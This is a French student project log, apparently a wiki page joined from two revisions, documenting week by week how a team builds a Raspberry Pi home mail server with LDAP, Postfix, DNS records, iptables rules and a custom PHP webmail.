ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : ''en cours''

===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-10T12:48:14Z

Tteneur : /* Semaine 19 (08/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

